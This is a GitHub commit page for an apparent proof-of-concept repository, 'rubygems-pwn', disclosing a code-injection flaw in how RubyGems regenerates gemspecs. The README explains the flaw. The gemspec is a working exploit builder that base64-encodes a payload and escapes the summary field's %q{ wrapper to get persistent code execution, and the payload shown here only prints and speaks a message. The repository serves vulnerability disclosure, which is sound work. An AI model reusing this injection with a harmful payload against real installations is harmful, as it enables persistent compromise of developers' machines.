Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit c933bb2
Showing
4 changed files
with
109 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
*.gem | ||
pkg/ | ||
doc/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
= RubyGems PWN | ||
|
||
<b>All versions of RubyGems are vulnerable to Persistent Code Injection via | ||
the gemspecs, which RubyGems generates when installing a Gem.</b> | ||
|
||
== Explanation | ||
|
||
When building a +.gem+ file, RubyGems will load your pure-Ruby gemspec | ||
and +YAML.dump+ the gemspec object. The YAML-dump gemspec is then | ||
compressed and included into the +.gem+ file. Upon installing a Gem, | ||
RubyGems will extract the YAML-dumped gemspec, +YAML.load+ the gemspec | ||
and then build a new pure-Ruby representation of the attributes within | ||
<tt>Gem::Specification</tt>. RubyGems installs this re-generated pure-Ruby | ||
gemspec into the +specifications/+ directory within the +GEM_HOME+. | ||
|
||
The rational for dumping the gemspec to YAML, then building another Ruby | ||
gemspec file from the dumped YAML, is that <tt>eval()</tt>ing Ruby is | ||
faster than calling +YAML.load+. Since RubyGems loads <i>every</i> gemspec | ||
at start-up, being fast matters. | ||
|
||
RubyGems builds this pure-Ruby gemspec using the to_ruby[https://github.com/rubygems/rubygems/blob/2ff3142c9a477ac2dbf0a5a2ff0f837b7fcc97e9/lib/rubygems/specification.rb#L2049-2124] method. +to_ruby+ merely | ||
concatenates Ruby code into a big String, and embeds the data from the | ||
<tt>Gem::Specification</tt>. +to_ruby+ relies on the | ||
ruby_code[https://github.com/rubygems/rubygems/blob/2ff3142c9a477ac2dbf0a5a2ff0f837b7fcc97e9/lib/rubygems/specification.rb#L1915-1931] method, | ||
for wrap the gemspec data, so that they can be safely embedded into | ||
Ruby code. | ||
|
||
Unfortunately, the +ruby_code+ method naively wraps Strings in | ||
<tt>%q{</tt> and <tt>}</tt>, and performs no character-escaping. | ||
Security connoisseurs will immediately recognize this mistake | ||
as the same one which makes SQL Injection possible. | ||
|
||
To exploit this bug, one simply needs to place a <tt>};</tt> in a | ||
<tt>Gem::Specification</tt> field (+summary+ is a good hiding spot) | ||
to escape the <tt>%q{</tt>, then add the malicious Ruby code, and ignore | ||
the trailing <tt>}</tt> with a <tt>#</tt> comment. | ||
|
||
s.summary = "A Ruby API for TF2. }; puts "Geeeeentlemen" #" | ||
|
||
== Impact | ||
|
||
As far as I can tell, the +ruby_code+ method was introduced around RubyGems | ||
0.8.0. All previous versions of RubyGems also appear to be vulnerable, since | ||
they directly inline the <tt>Gem::Specification</tt> attributes in | ||
+to_ruby+: | ||
|
||
def to_ruby | ||
mark_version | ||
result = "Gem::Specification.new do |s|\n" | ||
result << "s.name = %q{#{name}}\n" | ||
result << "s.version = %q{#{version}}\n" | ||
result << "s.platform = %q{#{platform}}\n" if @platform | ||
result << "s.has_rdoc = #{has_rdoc?}\n" if has_rdoc? | ||
result << "s.summary = %q{#{summary}}\n" | ||
|
||
* <tt>Gem::Specification#to_ruby</tt> method from RubyGems | ||
0.2.0[http://rubyforge.org/frs/download.php/414/rubygems-0.2.0.tar.gz]. | ||
|
||
Of course, there is some user-interaction required, a user must be enticed | ||
into installing a new Gem. Once installed, the injected code is persistent | ||
since RubyGems will load all gemspecs during start-up. The injected code | ||
will also survive <tt>gem pristine</tt>, which re-generates all installed | ||
gemspecs. | ||
|
||
== Proof Of Concept (PoC) | ||
|
||
gem install rubygems-pwn | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
say_puts = lambda { |m| puts("\a#{m}"); system('say',m) } | ||
say_puts["Geeeentle-men"] | ||
say_puts["All versions of Ruby-Gems are vulnerable"] | ||
say_puts["to persistent code injection"] | ||
say_puts["via the gem specs that are re-generated when you install a Gem"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
# -*- encoding: utf-8 -*- | ||
|
||
require 'base64' | ||
|
||
Gem::Specification.new do |s| | ||
s.name = "rubygems-pwn" | ||
s.version = "0.1.0" | ||
s.authors = ["Postmodern"] | ||
s.email = ["postmodern.mod3@gmail.com"] | ||
s.homepage = "http://github.com/sophsec/rubygems-pwn" | ||
|
||
# load the payload | ||
payload = File.read(File.join(File.dirname(__FILE__),'lib','rubygems-pwn','payload.rb')) | ||
|
||
embed_code = lambda { |code| | ||
# base64 encode our payload, to hide any special characters | ||
"require('base64');eval(Base64.decode64(#{Base64.encode64(code).inspect}))" | ||
} | ||
escape_code = lambda { |code| | ||
# escape RubyGems Gem::Specification#ruby_code escaping logic which | ||
# simple wraps Strings in "%q{" and "}". | ||
"}; #{code} #" | ||
} | ||
|
||
s.description = %q{A Proof of Concept (PoC) exploit for an trivial Security vulnerability in how RubyGems converts YAML-dumped gemspecs, back into Ruby code, when installing RubyGems. This ties into the larger design mistake, of storing installed gemspecs as Ruby code; since evaling Ruby code was faster than loading YAML gemspecs. When handling data, it is safer to store it in a static format (YAML, XML, CSV), instead of executable code.} | ||
|
||
# grab the first sentence of the description, and append our escaped code | ||
s.summary = s.description.match(/^[^\.]+/)[0] + | ||
escape_code[embed_code[payload]] | ||
|
||
s.files = ['README.rdoc'] | ||
s.require_paths = ["lib"] | ||
end |